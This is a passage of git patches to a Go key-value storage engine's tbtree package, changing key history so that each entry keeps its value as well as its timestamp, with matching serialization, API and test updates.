timestamp, hashCount, err := snapshot.GetWithPrefix([]byte("prefix"), []byte("neq")) func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() @@ -194,7 +199,7 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ } if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { - return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + return leafValue.key, cp(leafValue.timedValue().value), leafValue.timedValue().ts, leafValue.hCount + uint64(len(leafValue.timedValues)), nil } return nil, nil, 0, 0, ErrKeyNotFound @@ -204,7 +209,8 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ // It locks the snapshot for reading and creates a new history reader based on the given specification. // The method returns the history reader and an error if the creation fails. // Example usage: -// reader, err := snapshot.NewHistoryReader(&HistoryReaderSpec{Key: []byte("key"), Limit: 10}) +// +// reader, err := snapshot.NewHistoryReader(&HistoryReaderSpec{Key: []byte("key"), Limit: 10}) func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { // Acquire a read lock on the snapshot s.mutex.RLock() @@ -232,7 +238,8 @@ func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, er // It locks the snapshot for writing and creates a new reader based on the given specification. // The method returns the reader and an error if the creation fails. // Example usage: -// reader, err := snapshot.NewReader(ReaderSpec{Prefix: []byte("prefix"), DescOrder: true}) +// +// reader, err := snapshot.NewReader(ReaderSpec{Prefix: []byte("prefix"), DescOrder: true}) func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { s.mutex.Lock() defer s.mutex.Unlock() @@ -315,7 +322,8 @@ func (s *Snapshot) closedReader(id int) error { // It locks the snapshot for writing, checks if there are any active readers, and marks the snapshot as closed. // The method returns an error if there are active readers. // Example usage: -// err := snapshot.Close() +// +// err := snapshot.Close() func (s *Snapshot) Close() error { s.mutex.Lock() defer s.mutex.Unlock() @@ -356,7 +364,8 @@ func (s *Snapshot) Close() error { // - err: An error if the write operation fails or the arguments are invalid. // // Example usage: -// rootOffset, minOffset, wN, wH, err := snapshot.WriteTo(nw, hw, &WriteOpts{}) +// +// rootOffset, minOffset, wN, wH, err := snapshot.WriteTo(nw, hw, &WriteOpts{}) func (s *Snapshot) WriteTo(nw, hw io.Writer, writeOpts *WriteOpts) (rootOffset, minOffset int64, wN, wH int64, err error) { if nw == nil || writeOpts == nil { return 0, 0, 0, 0, ErrIllegalArguments @@ -485,33 +494,41 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( accH := int64(0) for _, v := range l.values { + timedValue := v.timedValue() + binary.BigEndian.PutUint16(buf[bi:], uint16(len(v.key))) bi += 2 copy(buf[bi:], v.key) bi += len(v.key) - binary.BigEndian.PutUint16(buf[bi:], uint16(len(v.value))) + binary.BigEndian.PutUint16(buf[bi:], uint16(len(timedValue.value))) bi += 2 - copy(buf[bi:], v.value) - bi += len(v.value) + copy(buf[bi:], timedValue.value) + bi += len(timedValue.value) - binary.BigEndian.PutUint64(buf[bi:], v.ts) + binary.BigEndian.PutUint64(buf[bi:], timedValue.ts) bi += 8 hOff := v.hOff - hCount := v.hCount + uint64(len(v.tss)) + hCount := v.hCount + uint64(len(v.timedValues)) - if len(v.tss) > 0 { - hbuf := make([]byte, 4+len(v.tss)*8+8) + if len(v.timedValues) > 0 { + hbuf := make([]byte, 4+len(v.timedValues)*8+8) hi := 0 - binary.BigEndian.PutUint32(hbuf[hi:], uint32(len(v.tss))) + binary.BigEndian.PutUint32(hbuf[hi:], uint32(len(v.timedValues))) hi += 4 - for _, ts := range v.tss { - binary.BigEndian.PutUint64(hbuf[hi:], uint64(ts)) + for _, tv := range v.timedValues { + binary.BigEndian.PutUint16(hbuf[hi:], uint16(len(tv.value))) + hi += 4 + + copy(hbuf[hi:], tv.value) + hi += len(tv.value) + + binary.BigEndian.PutUint64(hbuf[hi:], uint64(tv.ts)) hi += 8 } @@ -535,7 +552,7 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( bi += 8 if writeOpts.commitLog { - v.tss = nil + v.timedValues = nil v.hOff = hOff v.hCount = hCount } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 68253c73b4..7a94f1bb8f 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -226,8 +226,8 @@ type pathNode struct { type node interface { insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) - getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) - history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) + getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) + history(key []byte, offset uint64, descOrder bool, limit int) ([]timedValue, uint64, error) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) minKey() []byte ts() uint64 @@ -277,12 +277,15 @@ type nodeRef struct { } type leafValue struct { - key []byte - value []byte - ts uint64 - tss []uint64 - hOff int64 - hCount uint64 + key []byte + timedValues []timedValue + hOff int64 + hCount uint64 +} + +type timedValue struct { + value []byte + ts uint64 } func Open(path string, opts *Options) (*TBtree, error) { @@ -913,18 +916,16 @@ func (t *TBtree) readLeafNodeFrom(r *appendable.Reader) (*leafNode, error) { } leafValue := &leafValue{ - key: key, - value: value, - ts: ts, - tss: nil, - hOff: int64(hOff), - hCount: hCount, + key: key, + timedValues: []timedValue{{value: value, ts: ts}}, + hOff: int64(hOff), + hCount: hCount, } l.values[c] = leafValue - if l._ts < leafValue.ts { - l._ts = leafValue.ts + if l._ts < ts { + l._ts = ts } } @@ -947,22 +948,22 @@ func (t *TBtree) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) return cp(v), ts, hc, err } -func (t *TBtree) GetBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { +func (t *TBtree) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { - return 0, 0, ErrAlreadyClosed + return nil, 0, 0, ErrAlreadyClosed } if key == nil { - return 0, 0, ErrIllegalArguments + return nil, 0, 0, ErrIllegalArguments } return t.root.getBetween(key, initialTs, finalTs) } -func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tss []uint64, hCount uint64, err error) { +func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tvs []timedValue, hCount uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() @@ -1003,7 +1004,8 @@ func (t *TBtree) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []b } if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { - return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + currValue := leafValue.timedValue() + return leafValue.key, cp(currValue.value), currValue.ts, leafValue.hCount + uint64(len(leafValue.timedValues)), nil } return nil, nil, 0, 0, ErrKeyNotFound @@ -1947,11 +1949,11 @@ func (n *innerNode) get(key []byte) (value []byte, ts uint64, hc uint64, err err return n.nodes[n.indexOf(key)].get(key) } -func (n *innerNode) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { +func (n *innerNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { return n.nodes[n.indexOf(key)].getBetween(key, initialTs, finalTs) } -func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) { +func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]timedValue, uint64, error) { return n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit) } @@ -2159,15 +2161,15 @@ func (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error return n.get(key) } -func (r *nodeRef) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { +func (r *nodeRef) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { - return 0, 0, err + return nil, 0, 0, err } return n.getBetween(key, initialTs, finalTs) } -func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) { +func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]timedValue, uint64, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err @@ -2236,16 +2238,14 @@ func (l *leafNode) insert(kvts []*KVT) (nodes []node, depth int, err error) { } for i, lv := range l.values { - tss := make([]uint64, len(lv.tss)) - copy(tss, lv.tss) + timedValues := make([]timedValue, len(lv.timedValues)) + copy(timedValues, lv.timedValues) newLeaf.values[i] = &leafValue{ - key: lv.key, - value: lv.value, - ts: lv.ts, - tss: tss, - hOff: lv.hOff, - hCount: lv.hCount, + key: lv.key, + timedValues: timedValues, + hOff: lv.hOff, + hCount: lv.hCount, } } @@ -2259,18 +2259,15 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err if found { lv := l.values[i] - if kvt.T < lv.ts { + if kvt.T < lv.timedValue().ts { // The validation can be done upfront at bulkInsert, // but postponing it could reduce resource requirements during the earlier stages, // resulting in higher performance due to concurrency. return nil, 0, fmt.Errorf("%w: attempt to insert a value without an older timestamp", ErrIllegalArguments) } - lv.value = kvt.V - - if kvt.T > lv.ts { - lv.ts = kvt.T - lv.tss = append([]uint64{kvt.T}, lv.tss...) + if kvt.T > lv.timedValue().ts { + lv.timedValues = append([]timedValue{{value: kvt.V, ts: kvt.T}}, lv.timedValues...) } } else { values := make([]*leafValue, len(l.values)+1) @@ -2278,12 +2275,10 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err copy(values, l.values[:i]) values[i] = &leafValue{ - key: kvt.K, - value: kvt.V, - ts: kvt.T, - tss: []uint64{kvt.T}, - hOff: -1, - hCount: 0, + key: kvt.K, + timedValues: []timedValue{{value: kvt.V, ts: kvt.T}}, + hOff: -1, + hCount: 0, } copy(values[i+1:], l.values[i:]) @@ -2309,14 +2304,16 @@ func (l *leafNode) get(key []byte) (value []byte, ts uint64, hc uint64, err erro } leafValue := l.values[i] - return leafValue.value, leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + timedValue := leafValue.timedValue() + + return timedValue.value, timedValue.ts, leafValue.hCount + uint64(len(leafValue.timedValues)), nil } -func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, hc uint64, err error) { +func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { i, found := l.indexOf(key) if !found { - return 0, 0, ErrKeyNotFound + return nil, 0, 0, ErrKeyNotFound } leafValue := l.values[i] @@ -2324,7 +2321,7 @@ func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (ts uint64, return leafValue.lastUpdateBetween(l.t.hLog, initialTs, finalTs) } -func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]uint64, uint64, error) { +func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]timedValue, uint64, error) { i, found := l.indexOf(key) if !found { @@ -2333,7 +2330,7 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u leafValue := l.values[i] - hCount := leafValue.hCount + uint64(len(leafValue.tss)) + hCount := leafValue.hCount + uint64(len(leafValue.timedValues)) if offset == hCount { return nil, 0, ErrNoMoreEntries @@ -2343,26 +2340,26 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u return nil, 0, ErrOffsetOutOfRange } - tssLen := limit + timedValuesLen := limit if uint64(limit) > hCount-offset { - tssLen = int(hCount - offset) + timedValuesLen = int(hCount - offset) } - tss := make([]uint64, tssLen) + timedValues := make([]timedValue, timedValuesLen) initAt := offset tssOff := 0 if !desc { - initAt = hCount - offset - uint64(tssLen) + initAt = hCount - offset - uint64(timedValuesLen) } - if initAt < uint64(len(leafValue.tss)) { - for i := int(initAt); i < len(leafValue.tss) && tssOff < tssLen; i++ { + if initAt < uint64(len(leafValue.timedValues)) { + for i := int(initAt); i < len(leafValue.timedValues) && tssOff < timedValuesLen; i++ { if desc { - tss[tssOff] = leafValue.tss[i] + timedValues[tssOff] = leafValue.timedValues[i] } else { - tss[tssLen-1-tssOff] = leafValue.tss[i] + timedValues[timedValuesLen-1-tssOff] = leafValue.timedValues[i] } tssOff++ @@ -2371,9 +2368,9 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u hOff := leafValue.hOff - ti := uint64(len(leafValue.tss)) + ti := uint64(len(leafValue.timedValues)) - for tssOff < tssLen { + for tssOff < timedValuesLen { r := appendable.NewReaderFrom(l.t.hLog, hOff, DefaultMaxNodeSize) hc, err := r.ReadUint32() @@ -2381,7 +2378,18 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u return nil, 0, err } - for i := 0; i < int(hc) && tssOff < tssLen; i++ { + for i := 0; i < int(hc) && tssOff < timedValuesLen; i++ { + valueLen, err := r.ReadUint16() + if err != nil { + return nil, 0, err + } + + value := make([]byte, valueLen) + _, err = r.Read(value) + if err != nil { + return nil, 0, err + } + ts, err := r.ReadUint64() if err != nil { return nil, 0, err @@ -2393,9 +2401,9 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u } if desc { - tss[tssOff] = ts + timedValues[tssOff] = timedValue{value: value, ts: ts} } else { - tss[tssLen-1-tssOff] = ts + timedValues[timedValuesLen-1-tssOff] = timedValue{value: value, ts: ts} } tssOff++ @@ -2409,7 +2417,7 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u hOff = int64(prevOff) } - return tss, hCount, nil + return timedValues, hCount, nil } func (l *leafNode) findLeafNode(seekKey []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { @@ -2502,13 +2510,16 @@ func (l *leafNode) setTs(ts uint64) (node, error) { } for i := 0; i < len(l.values); i++ { + lv := l.values[i] + + timedValues := make([]timedValue, len(lv.timedValues)) + copy(timedValues, lv.timedValues) + newLeaf.values[i] = &leafValue{ - key: l.values[i].key, - value: l.values[i].value, - ts: l.values[i].ts, - tss: l.values[i].tss, - hOff: l.values[i].hOff, - hCount: l.values[i].hCount, + key: lv.key, + timedValues: timedValues, + hOff: lv.hOff, + hCount: lv.hCount, } } @@ -2523,10 +2534,12 @@ func (l *leafNode) size() (int, error) { size += 2 // kv count for _, kv := range l.values { + tv := kv.timedValue() + size += 2 // Key length size += len(kv.key) // Key size += 2 // Value length - size += len(kv.value) // Value + size += len(tv.value) // Value size += 8 // Ts size += 8 // hOff size += 8 // hCount @@ -2590,28 +2603,32 @@ func (l *leafNode) updateTs() { l._ts = 0 for i := 0; i < len(l.values); i++ { - if l._ts < l.values[i].ts { - l._ts = l.values[i].ts + if l._ts < l.values[i].timedValue().ts { + l._ts = l.values[i].timedValue().ts } } } +func (lv *leafValue) timedValue() timedValue { + return lv.timedValues[0] +} + func (lv *leafValue) size() int { - return 16 + len(lv.key) + len(lv.value) + return 16 + len(lv.key) + len(lv.timedValue().value) } -func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, finalTs uint64) (ts, hc uint64, err error) { +func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { if initialTs > finalTs { - return 0, 0, ErrIllegalArguments + return nil, 0, 0, ErrIllegalArguments } - for i, ts := range lv.tss { - if ts < initialTs { - return 0, 0, ErrKeyNotFound + for i, tv := range lv.timedValues { + if tv.ts < initialTs { + return nil, 0, 0, ErrKeyNotFound } - if ts <= finalTs { - return ts, lv.hCount + uint64(len(lv.tss)-i-1), nil + if tv.ts <= finalTs { + return tv.value, tv.ts, lv.hCount + uint64(len(lv.timedValues)-i-1), nil } } @@ -2623,21 +2640,32 @@ func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, fi hc, err := r.ReadUint32() if err != nil { - return 0, 0, err + return nil, 0, 0, err } for j := 0; j < int(hc); j++ { + valueLen, err := r.ReadUint16() + if err != nil { + return nil, 0, 0, err + } + + value := make([]byte, valueLen) + _, err = r.Read(value) + if err != nil { + return nil, 0, 0, err + } + ts, err := r.ReadUint64() if err != nil { - return 0, 0, err + return nil, 0, 0, err } if ts < initialTs { - return 0, 0, ErrKeyNotFound + return nil, 0, 0, ErrKeyNotFound } if ts <= finalTs { - return ts, lv.hCount - skippedUpdates, nil + return value, ts, lv.hCount - skippedUpdates, nil } skippedUpdates++ @@ -2645,11 +2673,11 @@ func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, fi prevOff, err := r.ReadUint64() if err != nil { - return 0, 0, err + return nil, 0, 0, err } hOff = int64(prevOff) } - return 0, 0, ErrKeyNotFound + return nil, 0, 0, ErrKeyNotFound } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 96368f6902..6a64a41cd2 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1445,12 +1445,12 @@ func TestLastUpdateBetween(t *testing.T) { require.NotNil(t, leaf) require.GreaterOrEqual(t, len(leaf.values), off) - _, _, err = leaf.values[off].lastUpdateBetween(nil, 1, 0) + _, _, _, err = leaf.values[off].lastUpdateBetween(nil, 1, 0) require.ErrorIs(t, err, ErrIllegalArguments) for i := 0; i < keyUpdatesCount; i++ { for f := i; f < keyUpdatesCount; f++ { - tx, hc, err := leaf.values[off].lastUpdateBetween(nil, uint64(i+1), uint64(f+1)) + _, tx, hc, err := leaf.values[off].lastUpdateBetween(nil, uint64(i+1), uint64(f+1)) require.NoError(t, err) require.Equal(t, uint64(f), hc) require.Equal(t, uint64(f+1), tx) From 2347c5e542968948ef5d465c876a5ffe27ef1bcf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 2 Sep 2023 13:21:53 -0300 Subject: [PATCH 0753/1062] chore(embedded/tbtree): value-preserving history Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/history_reader_test.go | 12 ++++---- embedded/tbtree/snapshot.go | 42 ++++++++++++-------------- embedded/tbtree/tbtree.go | 14 +++++---- embedded/tbtree/tbtree_test.go | 11 ++++--- 4 files changed, 40 insertions(+), 39 deletions(-) diff --git a/embedded/tbtree/history_reader_test.go b/embedded/tbtree/history_reader_test.go index 82077cac4d..c3c5b9aba3 100644 --- a/embedded/tbtree/history_reader_test.go +++ b/embedded/tbtree/history_reader_test.go @@ -95,16 +95,16 @@ func TestHistoryReaderAscendingScan(t *testing.T) { require.ErrorIs(t, err, ErrReadersNotClosed) for { - tss, err := reader.Read() + tvs, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } - require.Len(t, tss, itCount) + require.Len(t, tvs, itCount) for i := 0; i < itCount; i++ { - require.Equal(t, uint64(250+1+i*keyCount), tss[i]) + require.Equal(t, uint64(250+1+i*keyCount), tvs[i].ts) } } } @@ -148,16 +148,16 @@ func TestHistoryReaderDescendingScan(t *testing.T) { require.ErrorIs(t, err, ErrReadersNotClosed) for { - tss, err := reader.Read() + tvs, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } - require.Len(t, tss, itCount) + require.Len(t, tvs, itCount) for i := 0; i < itCount; i++ { - require.Equal(t, uint64(250+1+i*keyCount), tss[len(tss)-1-i]) + require.Equal(t, uint64(250+1+i*keyCount), tvs[len(tvs)-1-i].ts) } } } diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 0bcbb5fa83..10b73b8bce 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -199,7 +199,7 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ } if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { - return leafValue.key, cp(leafValue.timedValue().value), leafValue.timedValue().ts, leafValue.hCount + uint64(len(leafValue.timedValues)), nil + return leafValue.key, cp(leafValue.timedValue().value), leafValue.timedValue().ts, leafValue.historyCount(), nil } return nil, nil, 0, 0, ErrKeyNotFound @@ -494,7 +494,7 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( accH := int64(0) for _, v := range l.values { - timedValue := v.timedValue() + timedValue := v.timedValues[0] binary.BigEndian.PutUint16(buf[bi:], uint16(len(v.key))) bi += 2 @@ -511,36 +511,32 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( binary.BigEndian.PutUint64(buf[bi:], timedValue.ts) bi += 8 - hOff := v.hOff - hCount := v.hCount + uint64(len(v.timedValues)) + hOff := writeOpts.BaseHLogOffset - if len(v.timedValues) > 0 { - hbuf := make([]byte, 4+len(v.timedValues)*8+8) - hi := 0 + hCount := v.historyCount() - binary.BigEndian.PutUint32(hbuf[hi:], uint32(len(v.timedValues))) - hi += 4 + if hCount > 1 { + hbuf := new(bytes.Buffer) - for _, tv := range v.timedValues { - binary.BigEndian.PutUint16(hbuf[hi:], uint16(len(tv.value))) - hi += 4 + binary.Write(hbuf, binary.BigEndian, uint32(len(v.timedValues)-1)) - copy(hbuf[hi:], tv.value) - hi += len(tv.value) + for _, tv := range v.timedValues[1:] { - binary.BigEndian.PutUint64(hbuf[hi:], uint64(tv.ts)) - hi += 8 + binary.Write(hbuf, binary.BigEndian, uint16(len(tv.value))) + + hbuf.Write(tv.value) + + binary.Write(hbuf, binary.BigEndian, uint64(tv.ts)) } - binary.BigEndian.PutUint64(hbuf[hi:], uint64(v.hOff)) - hi += 8 + binary.Write(hbuf, binary.BigEndian, uint64(v.hOff)) - n, err := hw.Write(hbuf) + n, err := hw.Write(hbuf.Bytes()) if err != nil { return 0, 0, 0, int64(n), err } - hOff = writeOpts.BaseHLogOffset + accH + hOff += accH accH += int64(n) } @@ -548,13 +544,13 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( binary.BigEndian.PutUint64(buf[bi:], uint64(hOff)) bi += 8 - binary.BigEndian.PutUint64(buf[bi:], hCount) + binary.BigEndian.PutUint64(buf[bi:], hCount-1) bi += 8 if writeOpts.commitLog { - v.timedValues = nil + v.timedValues = v.timedValues[:1] v.hOff = hOff - v.hCount = hCount + v.hCount = hCount - 1 } } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 7a94f1bb8f..de868a3f32 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1005,7 +1005,7 @@ func (t *TBtree) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []b if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { currValue := leafValue.timedValue() - return leafValue.key, cp(currValue.value), currValue.ts, leafValue.hCount + uint64(len(leafValue.timedValues)), nil + return leafValue.key, cp(currValue.value), currValue.ts, leafValue.historyCount(), nil } return nil, nil, 0, 0, ErrKeyNotFound @@ -2277,8 +2277,6 @@ func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err err values[i] = &leafValue{ key: kvt.K, timedValues: []timedValue{{value: kvt.V, ts: kvt.T}}, - hOff: -1, - hCount: 0, } copy(values[i+1:], l.values[i:]) @@ -2306,7 +2304,7 @@ func (l *leafNode) get(key []byte) (value []byte, ts uint64, hc uint64, err erro leafValue := l.values[i] timedValue := leafValue.timedValue() - return timedValue.value, timedValue.ts, leafValue.hCount + uint64(len(leafValue.timedValues)), nil + return timedValue.value, timedValue.ts, leafValue.historyCount(), nil } func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { @@ -2330,7 +2328,7 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]t leafValue := l.values[i] - hCount := leafValue.hCount + uint64(len(leafValue.timedValues)) + hCount := leafValue.historyCount() if offset == hCount { return nil, 0, ErrNoMoreEntries @@ -2613,6 +2611,10 @@ func (lv *leafValue) timedValue() timedValue { return lv.timedValues[0] } +func (lv *leafValue) historyCount() uint64 { + return lv.hCount + uint64(len(lv.timedValues)) +} + func (lv *leafValue) size() int { return 16 + len(lv.key) + len(lv.timedValue().value) } @@ -2628,7 +2630,7 @@ func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, fi } if tv.ts <= finalTs { - return tv.value, tv.ts, lv.hCount + uint64(len(lv.timedValues)-i-1), nil + return tv.value, tv.ts, lv.historyCount() - uint64(i), nil } } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 6a64a41cd2..049c3f698a 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -501,9 +501,9 @@ func randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) { require.Equal(t, uint64(1), hc1) } - tss, _, err := snapshot.History(k, 0, true, 1) + tvs, _, err := snapshot.History(k, 0, true, 1) require.NoError(t, err) - require.Equal(t, ts, tss[0]) + require.Equal(t, ts, tvs[0].ts) err = snapshot.Close() require.NoError(t, err) @@ -1155,6 +1155,9 @@ func TestTBTreeSelfHealingHistory(t *testing.T) { err = tbtree.Insert([]byte("k0"), []byte("v0")) require.NoError(t, err) + err = tbtree.Insert([]byte("k0"), []byte("v00")) + require.NoError(t, err) + err = tbtree.Close() require.NoError(t, err) @@ -1163,7 +1166,7 @@ func TestTBTreeSelfHealingHistory(t *testing.T) { tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) - _, _, _, err = tbtree.Get([]byte("k0")) + _, _, err = tbtree.History([]byte("k0"), 0, true, 2) require.ErrorIs(t, err, ErrKeyNotFound) err = tbtree.Close() @@ -1452,7 +1455,7 @@ func TestLastUpdateBetween(t *testing.T) { for f := i; f < keyUpdatesCount; f++ { _, tx, hc, err := leaf.values[off].lastUpdateBetween(nil, uint64(i+1), uint64(f+1)) require.NoError(t, err) - require.Equal(t, uint64(f), hc) + require.Equal(t, uint64(f+1), hc) require.Equal(t, uint64(f+1), tx) } } From 6a6324381743afeec915ba7820d34e5ac3795f22 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 2 Sep 2023 15:19:50 -0300 Subject: [PATCH 0754/1062] chore(embedded/tbtree): value-preserving history Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/history_reader.go | 2 +- embedded/tbtree/history_reader_test.go | 4 +- embedded/tbtree/reader.go | 2 +- embedded/tbtree/snapshot.go | 18 ++++---- embedded/tbtree/tbtree.go | 58 +++++++++++++------------- embedded/tbtree/tbtree_test.go | 2 +- 6 files changed, 43 insertions(+), 43 deletions(-) diff --git a/embedded/tbtree/history_reader.go b/embedded/tbtree/history_reader.go index 15073691aa..fdd214ae96 100644 --- a/embedded/tbtree/history_reader.go +++ b/embedded/tbtree/history_reader.go @@ -53,7 +53,7 @@ func newHistoryReader(id int, snap *Snapshot, spec *HistoryReaderSpec) (*History }, nil } -func (r *HistoryReader) Read() ([]timedValue, error) { +func (r *HistoryReader) Read() ([]TimedValue, error) { if r.closed { return nil, ErrAlreadyClosed } diff --git a/embedded/tbtree/history_reader_test.go b/embedded/tbtree/history_reader_test.go index c3c5b9aba3..9e0a4db2ba 100644 --- a/embedded/tbtree/history_reader_test.go +++ b/embedded/tbtree/history_reader_test.go @@ -104,7 +104,7 @@ func TestHistoryReaderAscendingScan(t *testing.T) { require.Len(t, tvs, itCount) for i := 0; i < itCount; i++ { - require.Equal(t, uint64(250+1+i*keyCount), tvs[i].ts) + require.Equal(t, uint64(250+1+i*keyCount), tvs[i].Ts) } } } @@ -157,7 +157,7 @@ func TestHistoryReaderDescendingScan(t *testing.T) { require.Len(t, tvs, itCount) for i := 0; i < itCount; i++ { - require.Equal(t, uint64(250+1+i*keyCount), tvs[len(tvs)-1-i].ts) + require.Equal(t, uint64(250+1+i*keyCount), tvs[len(tvs)-1-i].Ts) } } } diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 2729df3be7..4640fd6199 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -241,7 +241,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { continue } - return cp(leafValue.key), cp(leafValue.timedValue().value), leafValue.timedValue().ts, leafValue.hCount, nil + return cp(leafValue.key), cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.hCount, nil } } diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 10b73b8bce..9a25ddd028 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -131,7 +131,7 @@ func (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err erro // Example usage: // // timestamps, hashCount, err := snapshot.History([]byte("key"), 0, true, 10) -func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []timedValue, hCount uint64, err error) { +func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []TimedValue, hCount uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() @@ -199,7 +199,7 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ } if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { - return leafValue.key, cp(leafValue.timedValue().value), leafValue.timedValue().ts, 